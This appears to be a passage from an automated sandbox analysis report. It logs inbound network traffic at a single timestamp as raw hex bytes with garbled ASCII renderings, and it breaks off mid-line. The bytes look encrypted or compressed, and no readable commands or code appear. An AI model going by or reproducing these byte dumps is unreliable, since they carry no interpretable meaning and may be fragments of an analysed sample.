2021-12-28 17:13:33 UTC	1483	IN	Data Raw: bc 00 9b c8 40 d6 d1 3b a5 4e 39 23 1a f2 c6 94 3a f7 92 62 86 6c e9 6b 10 0b d8 98 5b 64 ae 58 a4 05 ef df d1 53 0a b4 2b 6f 26 d6 61 5e 88 b1 cb 17 a1 a8 09 1a b9 bb da c2 c2 27 95 a0 3d a4 19 58 f3 c6 a2 f8 7d 7f db c8 de d8 59 07 31 7e a9 18 9e ed 55 ba d4 9a 99 67 ca 69 d9 d8 00 fc 98 f3 5d fa 7b ca 09 94 1e 42 4e 71 7d 8b 61 db 29 25 e9 1a ce 50 d3 42 d1 af ac 9a 19 80 f0 f1 f4 24 0e 2e c2 ea 36 64 f4 ca a5 a9 28 bb 86 34 05 23 35 ea da 2b 6e 34 b5 fb f7 38 bc b3 97 34 05 24 14 0d 60 0a a3 bd a2 a7 0d ab f7 45 bc 0c 4d 95 cd a5 29 24 4e 89 0c ad d0 ba f4 df 23 cf f8 95 3a c2 ae 74 50 68 c4 a7 32 4d cb 41 a2 23 88 48 60 8b c6 5d e8 74 dd 6e 77 20 e0 62 f0 40 77 33 9e cf 88 08 4e 8f c2 0e 28 cf 27 28 4e cb d8 c7 e1 1d 95 2e 6c 08 4f fb d0 0b 5e df 9e Data Ascii: @;N9#:blk[dXS+o&a^'=X}Y1~Ugi]{BNq}a)%PB$.6d(4#5+n484$`EM)$N#:tPh2MA#H`]tnw b@w3N('(N.lO^
2021-12-28 17:13:33 UTC	1499	IN	Data Raw: fb 84 50 21 23 da 84 3a ed 03 d9 ee 85 8f c7 c4 f7 c5 ac 2e e2 f1 99 9c c2 10 5c fe 77 1c d2 ba c9 0e 7d 7a 67 61 45 16 db 9b ec 76 0e 1a ef aa b0 0b 61 c3 8d 47 1c 5c 9e b5 9c 7d 0d 4e 2f e3 3b 10 d8 a2 7a 23 5f 72 a1 76 6c ba 55 04 e8 1a be 8f 19 ef 70 36 58 f4 c8 86 af fd de 6d 73 73 fb e9 4a 08 e6 6f f7 d1 16 ff d3 4c bd a4 f8 55 d4 25 93 5a 95 88 3a b4 72 c6 90 cc 2b 7c 4b 79 5a 2f 8b 95 f7 8b 0c 65 f7 79 0d f4 53 ae 4f 3a 38 2e 3c 52 31 31 db 07 f6 ad 9e 45 44 b2 ba 48 e6 ef 9c 38 5a 54 88 d8 cf 7c 98 f3 9f 34 da 78 2e ab 71 1b d9 48 66 dc 69 68 b6 ac 54 0e d5 84 10 2b 77 cb 0c a3 74 a8 4a 24 0f f0 f4 a0 9c 57 39 6a 32 aa 1a 2b 7f 98 87 bb fe ec ef 75 c9 e8 4f ee bb 70 f2 25 23 09 8b 40 39 28 9e 0b 2a 52 10 d4 d0 61 21 19 d9 fc 90 a8 4c 5d fc e7 8f Data Ascii: P!#:.\w}zgaEvaG\}N/;z#_rvlUp6XmssJoLU%Z:r+\|KyZ/eySO:8.<R11EDH8ZT\|4x.qHfihT+wtJ$W9j2+uOp%#@9(*Ra!L]
2021-12-28 17:13:33 UTC	1515	IN	Data Raw: be 8a 34 1c 99 82 c5 e8 e8 25 a9 c7 88 8f 31 d2 7b 90 40 c7 2f 3e a8 8a 22 87 0d e7 62 57 ae a6 de 20 45 8e d3 9a 8d 8d ad 8b 32 af 2f d3 e1 c7 fd 26 ab 6a fb 09 80 b9 e0 61 07 e4 6c 0a f1 bc b3 fc e8 68 df a2 d1 2b 30 7b 23 c7 86 cb 6a 66 c6 57 cb 0e bc 06 ed 64 4f ce 59 d8 3d 0f 5a 81 54 de 14 68 bd 41 cd 7d ad 0d 18 eb 79 68 fd b4 36 cb 9e 90 e2 27 c9 9c be 07 c1 a1 4b 15 bd a5 51 6d 6b c0 7a 86 d9 a6 1c 02 bb a5 72 ab 39 d3 07 97 a7 db c0 7f 55 8d 70 80 63 51 40 5d 08 b4 0e 41 0a c0 f4 39 b1 27 7f e2 89 ee 62 1a 0b 1e a9 74 be 2e 82 f2 a2 9c c0 20 ae 56 43 14 47 b1 8c 84 b4 e1 dd ed 95 0e 03 d6 9e 09 8a 71 44 bd 99 3a 0c cc b0 23 9f 26 78 ae 52 a8 14 2f 4a 5b 04 f3 47 95 a8 da f3 2e 25 fe f8 ce 8e cf 7e cb bf 5a ef 7e de e8 b2 c3 91 26 f6 f3 51 41 37 Data Ascii: 4%1{@/>"bW E2/&jalh+0{#jfWdOY=ZThA}yh6'KQmkzr9UpcQ@]A9'bt. VCGqD:#&xR/J[G.%~Z~&QA7
2021-12-28 17:13:33 UTC	1531	IN	Data Raw: 77 c1 52 a5 75 f2 42 eb b1 bc 71 41 ec 4f 4c 4b 77 57 16 ca 1d 59 35 c2 e4 db c7 a5 fe 2d ce 68 10 d6 4c 82 e4 96 d1 4c 0b f6 5b f2 26 d7 d6 bc 4e b2 6c 5a a1 24 61 41 fa 72 48 ae e7 5d 85 86 d1 7c d9 54 7a 0b 25 af 4f 3c 8e ff de 91 8a 80 59 a1 fb 60 82 ae 9a ac b4 f5 d7 fc 42 11 29 ac c0 e8 3f 1e 6f b2 8a 4b 29 d9 d9 18 99 27 41 a0 de a7 0d 96 f8 21 1c 53 fb d9 fd 2b 32 45 c4 7a 53 a6 c8 6e ef c2 e7 c4 3f 12 ce 83 e0 c3 aa 8d a4 5b ac c3 2a 67 8b 95 a5 77 8a 31 83 a9 d6 2b b6 19 6b ef 99 a7 15 f6 b8 d9 b6 7f bf 27 a0 f8 b6 fd 80 e2 a7 47 a0 19 27 78 67 6b 2d 60 92 04 ae f5 f2 87 56 3e 49 18 f6 2c 97 3c 5a d2 a4 45 94 5b 5c d8 8f b6 1d b7 85 ca 3a 96 85 9f ed be 26 88 50 b7 c6 b1 3f 2d 8b 08 60 f6 be b4 5c ef 40 ff f3 7e 07 30 78 16 48 ea 1f 22 ce 4e d3 Data Ascii: wRuBqAOLKwWY5-hLL[&NlZ$aArH]\|Tz%O<Y`B)?oK)'A!S+2EzSn?[*gw1+k'G'xgk-`V>I,<ZE[\:&P?-`\@~0xH"N
2021-12-28 17:13:33 UTC	1547	IN	Data Raw: d1 1a 04 1a ca 86 bd 3a 79 f3 91 84 98 a1 ad 30 e9 df ab d4 e9 bc ce a8 d2 22 c8 e4 5e e1 fd 70 c5 b2 76 5b 03 b6 d6 bf 23 25 0b ad c2 78 67 f5 1d 18 0a d5 f3 7e 04 f7 56 27 a1 c4 7f 6c 10 83 78 3a 81 42 1f 4b b0 e6 1e 18 01 a1 a0 33 b9 fa 58 e6 1b 8b 0d 30 b0 aa ff 8f 48 e2 8a 8c ec c4 85 46 73 86 ea 4b 6d a3 cf a5 64 c4 6c ce 33 46 cb cb f4 af 3a 64 4c 18 e1 70 f7 5d cc 38 7a 2b 31 3e db 72 59 2f 93 6b e3 1d 8a ef f9 6a d5 af 03 4d 0d 03 ad 76 72 44 51 ff 23 3c 89 a9 59 3b c7 dd 2b 4d dc 4f 44 2f ee 4e d7 3a a1 ec d3 73 26 99 7d 44 eb 58 a3 00 32 78 55 5e 50 bb 29 a9 a7 9f 0a 8c ce 19 da 81 94 05 69 8e 3b 47 09 31 32 c6 d0 00 a8 91 3b ea a5 20 49 0e 9b 45 27 32 dd 2a b0 17 1c b6 7c e6 8e 2d 62 a4 01 9d 48 d2 1a e7 9f db dc d3 b2 a2 7d 41 9e 8d 4a d4 38 Data Ascii: :y0"^pv[#%xg~V'lx:BK3X0HFsKmdl3F:dLp]8z+1>rY/kjMvrDQ#<Y;+MOD/N:s&}DX2xU^P)i;G12; IE'2*\|-bH}AJ8
2021-12-28 17:13:33 UTC	1563	IN	Data Raw: ac 87 8e 7b af 1d 49 db 0e f1 a4 ab a4 f8 fb 9c 79 1c e1 46 08 0b 85 2e b1 50 d1 b8 e8 e6 e9 fa d1 0c 3a 3b 1f 2e 73 c4 52 07 ab de a6 18 81 08 98 49 f4 38 d4 3c ae 6f 20 0b d0 61 cb 59 f3 1d 63 b3 9e 18 38 70 a4 5a d8 23 64 30 d1 94 04 dd 85 51 02 78 92 fc 1b 90 a9 88 db 92 f0 76 22 18 01 b5 41 fb 36 0f 2b d9 46 d9 88 03 93 06 12 50 31 28 d2 b0 47 3e 02 50 39 9e 32 41 27 81 83 f4 b8 80 ce dd e7 ab 7b 33 2a 5c bc bc f5 7b 5c 76 05 1c 5d a5 5d cd 42 22 8b 39 45 08 a9 1e 43 18 da 30 e7 29 45 f2 90 23 ff c8 15 d1 9e 25 c6 e8 25 0d b4 4c db 3e d4 24 5b 16 42 5b 9c ae 1f 0c 21 7c 66 ee 4e a8 ee 34 ae 64 39 0c f2 d2 25 f6 1f 3c 1f b8 f3 fd bc 18 8d 8f bf fa a1 b5 4e 56 7f 94 d3 2a 98 b2 f9 41 b8 e3 7e f0 ee 07 ba 44 6f c3 1a d5 6f 5c 8c 6d 44 29 a3 18 3b 88 63 Data Ascii: {IyF.P:;.sRI8<o aYc8pZ#d0Qxv"A6+FP1(G>P92A'{3\{\v]]B"9EC0)E#%%L>$[B[!\|fN4d9%<NVA~Doo\mD);c
2021-12-28 17:13:33 UTC	1579	IN	Data Raw: a0 67 36 4e 0b b6 43 fd e0 08 75 2f 6f 94 94 2c 3d 60 0f 5f 3b 83 c1 67 8a 52 9b cd c1 c0 a0 b6 ea 0a cd 6d 32 f4 05 c4 84 96 ea 26 72 6e 56 3c b2 df 5d 36 fa 0a e1 e1 fb ff 11 63 c9 64 8c dc 86 3a 28 d2 8b 4a 93 ee 61 2a 09 f0 01 6c a9 0f 95 01 f1 fa 41 ad f5 bf e1 36 73 42 c6 19 af f4 25 cd 7d b0 a0 53 94 9a c5 8c a8 a3 65 42 fc ce 65 aa cb c3 21 da 05 6f 1b cd 3e d4 a4 48 22 40 4f 8e 83 41 7d dd 5a 3c ae db a7 fa 56 a8 70 37 f6 a6 e8 66 de 21 7a d6 53 db 8a 0f ab e9 92 03 bd 64 5d 32 40 bf 61 fb 8f c2 a5 54 77 08 70 5e 88 3c c5 3b 2d 68 e0 e3 34 27 28 a7 d9 3e 29 9b e8 c1 ae 16 92 06 a2 f9 63 5b 7c 69 db 72 5d cb 6b dd 6e f2 7d 66 9e 29 eb 8e ec c4 68 6c 4d 52 66 ec 94 81 fc bd a9 09 3a 23 ad 4b 3f f2 ee fc d5 32 16 e0 b5 87 9b c3 b5 e1 51 4c 29 cb 8c Data Ascii: g6NCu/o,=`_;gRm2&rnV<]6cd:(Ja*lA6sB%}SeBe!o>H"@OA}Z<Vp7f!zSd]2@aTwp^<;-h4'(>)c[\|ir]kn}f)hlMRf:#K?2QL)
2021-12-28 17:13:33 UTC	1595	IN	Data Raw: 5f 52 52 8a 9c ca f8 81 1d c0 ab c9 3e de 9a 25 84 a1 64 45 06 09 3b 96 c1 8c 81 42 41 38 1e 5a 96 19 61 8c 04 71 ee c9 08 d5 76 58 c4 96 d6 f9 94 dd 23 91 07 48 41 86 8e e9 ca 7e bf 52 53 c7 9c e2 53 33 09 13 55 3c 06 b3 3b be 4d fb 34 6a a9 3f 29 82 fb c6 08 75 00 3d c5 4e b4 6b 75 c4 be 29 dc 0a 3b 42 ee 1e b3 f6 8a 19 00 99 02 15 a5 98 cc 13 0c 53 23 6c 01 33 68 29 db 3c 62 2f 12 fe c0 3e 2f 75 f3 62 88 ba 2d c3 76 8c 57 46 d0 8a 1a a3 4c 53 42 21 fd c7 24 01 7e b5 95 f6 2d ef d4 ea 95 39 40 30 7c 92 10 83 98 05 3e 4d 03 e1 0a 50 c5 2c c9 07 4b 72 b1 0f 12 78 99 c9 80 df f5 8b a1 a8 5f 8f b8 c8 68 77 b1 f5 6a 9d b8 f9 41 5a c7 11 4c a4 e1 4c 92 9a cb 92 6f 41 32 63 d6 54 bd c4 ba f1 fb 69 60 66 11 5b 81 43 66 d1 08 50 4a 5a 95 48 63 7b 94 3c ee f2 5f Data Ascii: _RR>%dE;BA8ZaqvX#HA~RSS3U<;M4j?)u=Nku);BS#l3h)<b/>/ub-vWFLSB!$~-9@0\|>MP,Krx_hwjAZLLoA2cTi`f[CfPJZHc{<_
2021-12-28 17:13:33 UTC	1603	IN	Data Raw: b2 2b 45 78 25 a0 64 ee 8a 0e 03 05 9a c1 2d b1 90 fe ee 04 9f ba 1f dd e7 f9 79 4d 78 1d 88 c2 e2 31 c0 ae e4 42 63 99 4b 89 f8 bd c6 2a b1 06 be c1 2f 54 95 5d a3 31 f9 68 04 7a bd d3 ee e5 5a 4c 04 58 ff 74 67 be 71 c9 fc c2 1f d0 04 3c fa 61 ec 99 f9 cd fd be 21 f5 7c 12 9c a8 ad 6f c6 56 27 29 52 ea 8f 40 2f c2 4b c4 48 5c 93 ad e9 d9 af f5 57 e0 7d 97 d1 fa 38 01 12 8b 03 df c1 b6 9f fd 77 fc 0e 91 c9 de 2c a5 97 b7 78 b6 b7 dc 02 45 e7 0b 80 f2 66 2b 72 b4 e9 48 88 a1 ef aa b6 bc e9 05 e7 d0 91 eb d4 34 2a 74 c6 af 00 42 40 0c 14 f0 32 5b 79 f1 be 99 81 d5 cc 9e 9b d8 67 df 72 45 9d 58 f3 75 cb 80 ca 15 39 52 3b 5e 4a 3f 09 fb 55 eb ef 96 2e 9b e1 25 30 75 7d cb 75 69 0f 1e 52 ba 9e 82 71 f1 b5 36 75 88 76 f5 0f 5f 6b ff ea bf 78 06 23 20 e9 f1 48 Data Ascii: +Ex%d-yMx1BcK/T]1hzZLXtgq<a!\|oV')R@/KH\W}8w,xEf+rH4tB@2[ygrEXu9R;^J?U.%0u}uiRq6uv_kx# H
2021-12-28 17:13:33 UTC	1619	IN	Data Raw: 5f 62 4a 8f c1 e3 4c 79 77 55 5c cb aa b0 8c 73 95 dd c6 e0 70 77 4c c8 b4 41 44 f0 70 59 a7 e0 93 c7 65 5b fd 45 96 e4 c9 0b c0 29 dd b3 3f 5e 8c 63 36 ce d3 5a 14 ff d5 e6 58 e4 f8 d7 e9 10 2a 02 7a 81 88 90 f4 89 5a 32 66 65 03 03 5f e8 70 66 0d 1d 0c ee 1a 80 07 da 2c 13 ad 90 09 1d 90 07 a6 35 0f 62 5b 39 64 d1 c8 80 e3 89 af 6b 0c fd 16 c3 3b 2b 31 91 13 6d 28 87 da 76 36 bb e6 bf ac 54 fd d4 f4 e9 c9 fe a0 d8 6b 4e 5b b6 62 8d 3f 6e 55 39 cd 3f 69 22 df 93 60 e3 0d 57 8a be 1a 9b 81 05 31 74 b5 69 35 0d 23 cb a5 68 73 6e 88 a9 a1 df de 91 a6 35 ab 69 7d a1 07 84 66 6f 58 c3 bc 0b bb eb f8 63 f1 f4 10 e7 08 38 89 b4 f9 dc 95 36 d6 0d ec 2e 1d 22 dd 52 2c 1f 60 30 a4 24 b6 33 9f 5c 9d f8 8e 57 e4 85 27 3f 11 d9 76 1b 1d aa 4c 9b 3c d5 cb 7c 77 89 49 Data Ascii: _bJLywU\spwLADpYe[E)?^c6ZX*zZ2fe_pf,5b[9dk;+1m(v6TkN[b?nU9?i"`W1ti5#hsn5i}foXc86."R,`0$3\W'?vL<\|wI
2021-12-28 17:13:33 UTC	1635	IN	Data Raw: 27 77 e6 41 d9 e4 d7 2a dd 36 db eb 58 da 0f 28 6b f5 57 8c 0f 42 d6 d4 46 49 44 3f 7d 97 a3 ae 21 0d 9b 94 f5 0e d5 27 2f 23 b0 65 bc fd 83 75 3f bb 85 3a 32 f9 88 92 c9 31 48 43 0f c9 80 e3 63 a6 b0 1d 76 b9 3b f6 b6 1b 35 7b 95 8c 0a 44 00 6d 0d 86 70 ba 3d ac 04 50 cf c3 6c 2d 80 bc 1a 6f 03 61 4d 1c c3 d3 ea 64 be b6 d2 dd 91 69 ae 18 d9 f6 d9 90 c2 72 42 3d a3 be 83 97 39 1f 1e 43 ed 1d 26 46 7d 5b fd ea b3 ef 69 d3 0f 64 fd 4f e6 29 47 1b 5f 21 33 0c e6 f0 3c 81 54 88 b2 00 39 e9 dd 6b 1b 5f b4 83 bd 7f 8d 4a dd be 74 f7 46 10 5b b2 3e 52 86 3a 8d f9 5f 6d 8a ec 89 df 83 ae dd 35 0b 72 db a1 92 eb 90 1c e5 4f a3 c5 84 60 3e 6a 94 13 5d c7 fc b9 8a 69 a7 48 a5 04 16 9f d5 7c d0 8e 95 31 1c 56 91 e6 78 7f 23 23 b4 75 02 88 63 34 31 7b f3 25 9b 1d 89 Data Ascii: 'wA*6X(kWBFID?}!'/#eu?:21HCcv;5{Dmp=Pl-oaMdirB=9C&F}[idO)G_!3<T9k_JtF[>R:_m5rO`>j]iH\|1Vx##uc41{%
2021-12-28 17:13:33 UTC	1651	IN	Data Raw: c6 09 07 fc d4 30 35 ce b7 16 03 db f0 de e3 53 e0 4e 63 34 bf 33 03 66 4d 58 5f fe 55 cd 00 6c 91 6b 87 58 af 59 78 bc 0e 59 fd 96 7d 29 e3 bd 93 15 e3 a8 27 07 35 96 66 f5 b0 f7 cf fd b3 0a 4a 92 67 55 d5 e8 78 c9 6f 7f d8 75 14 77 bf 95 a5 d1 9f 1c fb e6 ba b9 99 ad 53 c1 38 53 8b ef 03 f7 72 38 88 ff 2a ae 5d c7 76 58 f6 48 42 75 45 cc 2d 38 7f 67 f4 4f d6 7e a6 2d 64 d5 a8 a4 de 44 d2 8e 06 ba 23 c4 bc b0 9f 15 39 31 25 65 b3 c8 01 66 95 0b ca 62 c0 0a e8 0e 71 f0 22 db 9f d5 bd 2a 8d 80 a9 12 cc 3a f4 33 ed 89 13 b7 03 e1 a2 77 7c c7 f6 ee ee 9f ba 6d ee 54 5d c8 8b 3c 93 3a 28 4d fb a2 09 53 87 41 d8 b3 dc 72 9a 8f 19 81 d1 7d df 02 a7 2b 38 40 98 70 a2 b8 bb dd ce aa 31 5b b5 da 36 31 5b dd 7a a1 f4 22 cf 87 c1 ca 12 93 29 0f 00 e6 dc ef 96 b0 4a Data Ascii: 05SNc43fMX_UlkXYxY})'5fJgUxouwS8Sr8]vXHBuE-8gO~-dD#91%efbq":3w\|mT]<:(MSAr}+8@p1[61[z")J
2021-12-28 17:13:33 UTC	1667	IN	Data Raw: c2 e4 38 eb ea 87 02 49 2a 3b ec fb b1 d3 ad 91 59 5a 6f b3 99 85 a4 00 6a 1a 0a af 89 66 e7 7d 75 e9 01 cd 51 f1 9b e6 d3 44 c6 93 2d 37 43 8a 02 ac e2 f5 4e 64 ce a4 c8 b9 56 c3 d4 b2 85 aa 77 1b 7c 5e 5b b0 9c 2c dc c8 b6 a8 e5 f1 26 41 57 83 c1 1d f7 c0 be a5 84 d0 a6 3a f5 04 49 62 92 b2 c4 1f b7 5f b2 e1 d3 9a 7b 2d 67 9b db 9f eb 6d d9 0f b1 5a 8a 8d 23 dc dc b0 88 84 ff 30 c7 cb a6 26 5d cf 71 b8 ac 08 73 35 cc 86 91 a9 82 af 5e 5a de d6 0f 6f 70 26 7b f9 15 7b d3 47 d9 af 6e 8a 90 98 21 9c 84 56 99 b7 bf 9b d8 63 4f a1 8b 34 d6 fd ad 50 ba bb 3e 12 1f b7 9a e1 03 99 dd ab 86 85 07 8e f1 09 bd e0 4d 77 b9 e2 2b a0 3e 88 46 fe 1d 5a 83 1a d8 34 17 75 60 a0 61 0b e5 6f 42 a3 e9 31 0f 97 8e 75 23 b2 60 d2 b7 3f 72 f7 fa 2d 5c 44 7b c4 69 8c 28 af 03 Data Ascii: 8I*;YZojf}uQD-7CNdVw\|^[,&AW:Ib_{-gmZ#0&]qs5^Zop&{{Gn!VcO4P>Mw+>FZ4u`aoB1u#`?r-\D{i(
2021-12-28 17:13:33 UTC	1683	IN	Data Raw: 83 d9 69 8a 91 4b 5c 14 6f 24 ff 88 7d cd 33 a5 56 d3 fc 93 46 fd e2 f4 e7 42 c3 50 af a0 53 df 79 dd c6 c8 f9 06 da 50 ca 1c 15 80 e9 00 e9 f2 a0 3c e9 4a b6 85 19 53 04 10 92 7e 5e 84 e5 ce 72 6f d7 74 e5 3e b7 b9 79 d8 59 df 20 0a 4a 37 92 c6 18 c6 c4 32 3b ae 53 52 41 7d 93 0e fc 7e 75 32 c5 c0 39 8b 56 04 7c 6e 02 5a ad e9 41 c6 40 ec b0 d5 27 0c 4e 7b b0 25 42 4b 99 65 eb e6 d9 8c 3e c5 70 a4 78 66 0c a0 ed ce 98 78 f6 8f 34 e6 20 45 ad ad c7 3a e1 50 3e 6d 83 f9 2c d3 19 09 7a 52 3f ba 98 28 b1 84 2f d8 d4 29 d2 62 ef f8 5a 93 81 11 13 9c c2 31 57 30 37 d1 ed 56 13 1d 80 17 75 0a ce 7d ea 5d e0 10 6e 8a 6a 8a 17 a9 5b 7d 41 94 aa c6 fb 60 f2 ba d0 3c d7 b8 c4 6e a0 c4 a1 34 4d 2c 58 10 0e fd a8 b8 8c 83 a8 2f 9d 8d 0a 69 87 ff fd 55 a8 9a 22 e5 86 Data Ascii: iK\o$}3VFBPSyP<JS~^rot>yY J72;SRA}~u29V\|nZA@'N{%BKe>pxfx4 E:P>m,zR?(/)bZ1W07Vu}]nj[}A`<n4M,X/iU"
2021-12-28 17:13:33 UTC	1699	IN	Data Raw: c1 c4 49 ba 75 2c e3 5f 74 75 5f f4 6a cf 53 5c b6 bc 81 9a 77 d3 bb fd 5e 0b 53 66 63 fb cf c5 b0 25 c0 75 32 81 f2 0a d2 0d 16 50 30 46 7b cf 37 47 88 ea c1 39 37 5b 13 8c c0 82 56 ef a9 5a e8 6f a1 5f 8b 87 21 82 bf b6 6e 49 8d 1f bc 96 48 87 1d d3 f0 25 d0 08 0d 07 a1 7f bd b0 75 fb f6 c1 df 35 0b f2 39 1e a4 8a 20 33 3d fd b6 e7 71 12 43 b4 40 92 e2 a3 00 a1 17 79 01 1f ec d1 16 08 2e 5e cb 7c 98 1a 32 9c 2e 69 49 0f 4e a3 51 2c ac 8f d3 df ed c4 e6 e3 12 43 cd 50 d1 a1 38 a9 f3 da 7e db 2b 94 7d 98 4f c6 af 0d d7 36 06 7f 6d bc c0 f0 31 42 e2 dd c4 b3 60 3c 5c c2 bd 06 ce d1 61 1a 87 b9 f2 76 91 d3 4a 56 08 29 6f 6e 16 96 50 1c 86 fa 00 46 87 74 f0 1b 60 1d bb 33 90 4a 85 e8 b7 60 fe 85 5d 49 2a e9 e5 a0 ec 26 7b 12 3b 22 63 cc 31 af 30 65 a3 d2 8a Data Ascii: Iu,_tu_jS\w^Sfc%u2P0F{7G97[VZo_!nIH%u59 3=qC@y.^\|2.iINQ,CP8~+}O6m1B`<\avJV)onPFt`3J`]I*&{;"c10e
2021-12-28 17:13:33 UTC	1715	IN	Data Raw: 4f c8 02 98 66 10 7a e3 2a 82 51 76 9d c9 55 d5 ca f0 00 a7 9f 00 04 94 64 c0 3b 2f a6 27 38 9c d2 97 38 b8 1d 5c 23 72 d3 cb af 8a 52 f6 f6 26 fd 68 33 05 57 29 69 f3 79 0d 6e 24 c0 8b 75 51 b1 2a 64 cd 15 0d 02 ae 12 89 c9 d6 a4 d0 3f 79 4b 4d 16 0d 77 c7 5e b2 63 0a db be 24 dd c4 11 81 75 d3 1f f9 26 72 39 11 24 b9 b2 e9 c0 40 d4 da 20 45 5b 76 dd 28 95 e5 f6 81 40 bf a4 76 c8 62 4a ef b9 89 2e 97 ed 13 85 47 0a 3c 4e 6a ba 1b 21 8f fd 6d 69 1f c4 66 1f 66 c5 af 64 ad 46 e0 0f a4 04 d6 06 81 42 a3 2d 8d c9 bd ef 10 c4 1e a8 df 81 27 61 8b e7 e7 24 5f 07 ba 5e d0 01 a5 35 f5 0a c9 8b 63 0c a6 d6 a0 fd 22 b0 7c 3e 14 ab 9c ef f1 72 89 9e cc 82 a9 f7 bb a9 e1 98 c6 86 4d 0b ec de 94 e8 5b 65 dd a4 30 fa 9c 88 2d cd e7 eb a5 cd 93 78 f0 32 31 dc 98 f6 f4 Data Ascii: OfzQvUd;/'88\#rR&h3W)iyn$uQd?yKMw^c$u&r9$@ E[v(@vbJ.G<Nj!miffdFB-'a$_^5c"\|>rM[e0-x21
2021-12-28 17:13:33 UTC	1731	IN	Data Raw: 6e d8 e4 1c 53 6d 2d 0c ad a9 0e aa f2 a0 12 f4 10 99 77 74 34 8d 65 fd 0b c2 2d f3 96 07 c5 34 7d 10 5f 2b d8 30 50 b4 67 1b 53 94 48 80 cd 1f e4 06 8c a0 99 79 f6 fb cd e3 6c ef 7b 5e cc 7d d7 f3 dd ae a7 2c 61 2b ef 19 4f 58 ad 4d b7 8f c7 66 fb ad 99 a2 7f 74 67 c8 d7 25 d8 a4 b9 8a 92 65 a6 d3 58 8a 27 24 17 7d f5 4a f6 66 d8 06 1f 86 93 86 75 18 2f fb be 9c 46 72 97 e7 30 60 4b 81 47 81 d4 81 5f f8 a4 fb 17 14 75 92 93 3e 65 1d b6 3c 38 47 1b 2e f0 63 fb 8b 72 9b f1 ef c4 fd 5d 80 5a d5 bf 40 38 92 6f d6 7f 83 9d 52 d0 74 74 9f 3c 0f 42 97 37 58 a8 fe 5f 9b ef 3e 3e 3f 1f 7f c1 9f 50 71 06 b8 42 9f b4 40 f8 63 43 3a 3c 51 a0 34 c5 df 96 69 c0 7f a7 be 63 a2 11 7c 0c 67 11 9a f2 57 a4 80 24 c3 73 a3 fd ec b4 ff 25 1e 7e 9f ce 72 0c b1 d7 22 2e 4c 42 Data Ascii: nSm-wt4e-4}_+0PgSHyl{^},a+OXMftg%eX'$}Jfu/Fr0`KG_u>e<8G.cr]Z@8oRtt<B7X_>>?PqB@cC:<Q4ic\|gW$s%~r".LB
2021-12-28 17:13:33 UTC	1747	IN	Data Raw: 63 3e f8 41 05 e8 2d bb b1 88 00 b9 b9 81 bd b9 0d 23 b1 1c 8d d9 06 d6 f5 50 03 1d c1 6b d2 55 9d 33 dd f9 f8 13 fb 75 c8 53 aa 2a 87 75 a1 bc 9f 79 52 c5 9e 4a d6 d1 ea 8e cb a4 a0 b6 3f 2f 5f bf 2e 5b d0 18 08 01 0c 2e be 5a 9c 83 32 58 1e 92 12 79 49 09 66 99 fe a4 d2 3c 8f cb 75 23 47 75 2e 32 03 68 e1 83 99 26 37 d3 2a c0 82 26 be eb 81 c8 23 64 83 16 a5 4c 63 5b fb b8 33 33 04 f8 aa d4 9c 94 ae 75 bb 52 6a 63 d1 37 38 7e 3e 88 65 42 ae 2b ac 4b 03 a2 20 9c 93 90 2b 79 c0 38 98 a2 59 14 9f d6 03 e6 32 86 20 7f 8c a6 19 ca 24 53 d6 83 92 79 bc df 21 37 55 4a a7 2e 60 3c 33 bd ad 06 0a 28 99 be 2d 75 f2 68 ed 6f 5c 5b 9c 90 be 20 41 89 ae f8 6c 3e 84 18 15 f4 ae bd 34 06 2f 75 a1 c4 6e e6 39 ff 5f e9 20 88 80 cd 07 ea 2b c8 21 41 0c cb 53 eb c0 90 06 Data Ascii: c>A-#PkU3uSuyRJ?/_.[.Z2XyIf<u#Gu.2h&7&#dLc[33uRjc78~>eB+K +y8Y2 $Sy!7UJ.`<3(-uho\[ Al>4/un9_ +!AS
2021-12-28 17:13:33 UTC	1763	IN	Data Raw: 03 55 4c 29 8d 4c 56 71 5e dc 5e 41 a4 5e 88 55 54 52 51 dc 6f db 43 f0 76 f2 7f 41 24 b2 4f e5 5a 4b f9 ce 15 82 d6 8f 26 07 5e f8 65 28 c5 be 9f 2b 67 fd 40 c9 f7 83 77 04 e3 52 1a 51 81 67 ee 33 ef d8 33 82 e5 55 0e f5 22 08 3f b0 99 f1 4f be af f8 a7 4d 4c 18 8a 30 a2 1b 6f 90 00 81 cc 32 9c 7f e0 51 28 17 3f 2b a5 db 49 f0 ba 69 49 4b 2b 09 6a 33 f9 77 c4 eb e6 aa a0 f3 0c 88 b7 48 4f 11 48 88 c4 37 aa 78 de 2e 3d f7 c5 d9 dd 5e a6 65 c3 e7 ec 1b cd 3a b9 48 9d 49 87 33 7b 60 cd 21 ca 3f 84 e4 41 db 35 22 c2 27 b1 01 05 58 47 52 2d 64 b8 30 a0 fe c4 90 52 cc 0a e2 df 4f 37 ac f7 0d a7 4e e9 aa bf ab e4 48 74 65 ef dd 65 7b 88 1a 67 4f 96 6b 29 12 ae 92 81 58 ef 89 72 10 0a a7 33 84 72 85 bd c4 27 ed 4f 37 97 c3 47 4f 6e d4 95 ae e2 ea 11 78 bd cd c1 Data Ascii: UL)LVq^^A^UTRQoCvA$OZK&^e(+g@wRQg33U"?OML0o2Q(?+IiIK+j3wHOH7x.=^e:HI3{`!?A5"'XGR-d0RO7NHtee{gOk)Xr3r'O7GOnx
2021-12-28 17:13:33 UTC	1779	IN	Data Raw: 44 dd 71 62 60 16 c7 ec 1b 9c 9d 72 9e d2 53 9f 9d 2f 3c b6 4f 37 d0 1c 51 94 92 d5 0c 17 2e c6 08 82 8f ee fe a1 40 bc 37 a1 bf 44 ae ec 41 45 c2 a4 f7 69 f2 07 58 7d 61 e4 f5 ea 4c 09 42 b4 a9 2f 01 ee 9d fb f2 da 6e 31 66 b6 5c 40 b3 05 77 fa 67 f2 6b 26 3f 27 79 da c4 44 33 2b c2 72 f0 df 58 1a 9a 49 d4 f0 05 f6 7f d2 e6 a9 44 f6 9a 48 cd df ef 2f a8 92 60 76 fb a3 64 1e d4 50 3b 0a 8f 87 ef f0 9f 8d 53 97 6e f2 bd df 16 25 27 d8 fc 49 54 3f 35 4b de 87 1b 8a 13 54 63 86 a1 99 62 e4 4a a4 b4 50 61 48 e0 83 0f 1b 7a e8 a0 23 9a a7 6c 43 cb 77 5e b6 0e f0 4a 9f 67 84 12 1c 54 88 de 55 95 f6 dc 4a 47 2b ea 0f 0b 4a e0 d3 1a eb 7d 47 bd a8 7b 85 ec 98 df 0e 68 5f 33 25 32 61 d8 cf 43 77 41 92 c9 ec 9d 7c 17 01 5a 0c b8 46 8d 04 83 6c 0f c7 1e 2c e7 94 79 